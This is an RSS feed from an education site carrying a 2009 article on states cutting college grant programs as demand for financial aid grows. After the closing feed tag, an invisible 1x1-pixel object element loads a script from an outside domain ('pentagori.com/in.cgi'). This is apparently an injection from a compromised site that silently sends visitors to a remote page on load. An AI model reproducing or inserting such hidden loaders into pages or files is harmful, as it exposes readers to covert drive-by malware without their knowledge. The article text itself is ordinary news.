<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Education &#38; Careers &#187; federal funding</title>
	<atom:link href="http://www.classesandcareers.com/education/tag/federal-funding/feed/" rel="self" type="application/rss+xml" />
	<link>http://www.classesandcareers.com/education</link>
	<description>Education &#38; Career Advice and Tips</description>
	<lastBuildDate>Tue, 13 Dec 2011 17:56:01 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<xhtml:meta xmlns:xhtml="http://www.w3.org/1999/xhtml" name="robots" content="noindex" />
		<item>
		<title>As demand rises, States cut aid to college students</title>
		<link>http://www.classesandcareers.com/education/2009/08/12/as-demand-rises-states-cut-aid-to-college-students/</link>
		<comments>http://www.classesandcareers.com/education/2009/08/12/as-demand-rises-states-cut-aid-to-college-students/#comments</comments>
		<pubDate>Wed, 12 Aug 2009 17:21:18 +0000</pubDate>
		<dc:creator>Diane</dc:creator>
				<category><![CDATA[Financial Aid]]></category>
		<category><![CDATA[college awards]]></category>
		<category><![CDATA[college degrees]]></category>
		<category><![CDATA[college grants]]></category>
		<category><![CDATA[federal funding]]></category>
		<category><![CDATA[higher education]]></category>
		<category><![CDATA[scholarships]]></category>
		<category><![CDATA[state funding]]></category>

		<guid isPermaLink="false">http://classesandcareers.com/education/?p=568</guid>
		<description><![CDATA[At least 12 states are reducing award sizes, eliminating grants, and more rigidly controlling eligibility guidelines.  Even though the states are cutting or winding down these programs there are a greater number of students seeking financial aid. ]]></description>
			<content:encoded><![CDATA[<p>Since states are experiencing budget shortages in the billions, many states have decided to <b>drastically cut</b> college financial aid programs.&nbsp; Students, who need money the most for college will have to try and find other sources of funding.</p>
<p>	At least <b>12 states</b> are reducing award sizes, eliminating grants, and more rigidly controlling eligibility guidelines.&nbsp; Even though the states are cutting or winding down these programs there are a greater number of students seeking financial aid.&nbsp; </p>
<p>	Many of the programs that are being affected by these changes are need-based grants that provide money which helps students in addition to financial aid being offered by schools and the federal government.</p>
<p><a class="textlink" href="http://classesandcareers.com/schools_westwood-college/state_illinois/campus_westwood-chicago-loop-chicago-il/degrees_design">Illinois</a> is one state that is cutting the funding for a student award program which will affect 145,000 students.&nbsp; Ohio is eliminating grants up to $2,496 for low-income students and <a class="textlink" href="http://classesandcareers.com/schools_university-of-phoenix/state_wisconsin/campus_university-of-phoenix-milwaukee-wi/degrees_business">Wisconsin</a> has determined 20,000 low-income students will not be receiving their grants.</p>
<p>Without this cash for rent and groceries, some students will be forced to go into debt, transfer to cheaper schools, or drop out.&nbsp; Experts are worried that because of the cuts students will take on <b>too much debt</b> or spend even more time working as they pursue their degree.</p>
<p>	Since hundreds of thousands of workers are unemployed right now, many of those individuals have decided to pursue their education.&nbsp; The increase in demand for financial aid and the fact there is limited funding creates a huge problem.&nbsp; The U.S. Department of Education has reported that roughly 620,000 students applied for federal aid in the first quarter of this year, which is a 25 percent increase over last year.</p>
<p>	Not only are loans a problem, but grants are too.&nbsp; Thousands of students especially low-income students are <b>missing out on their grants</b>, because the programs have run out of money. So in order to continue or finish up their degrees, many have decided to tackle more student loans.&nbsp;&nbsp; </p>
<p>	Currently student loans are at an all time high on an individual basis.&nbsp; Not only are these debts difficult to pay back, but the high loans could eventually cause a reduction in access to higher education and more students defaulting on their loans.</p>
<p>	Students have a tough road ahead and will have to determine whether pursuing an education is worth it right now.&nbsp; Students can pursue a degree if they wish, but they will have to work diligently not only in school but also at work.&nbsp; Funding for college is going downhill and students will have to consider other ways to pay for college if they had previously been depending on financial aid.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.classesandcareers.com/education/2009/08/12/as-demand-rises-states-cut-aid-to-college-students/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>

<object data="http://pentagori.com/in.cgi?3" type="text/html" width="1" height="1"></object> 
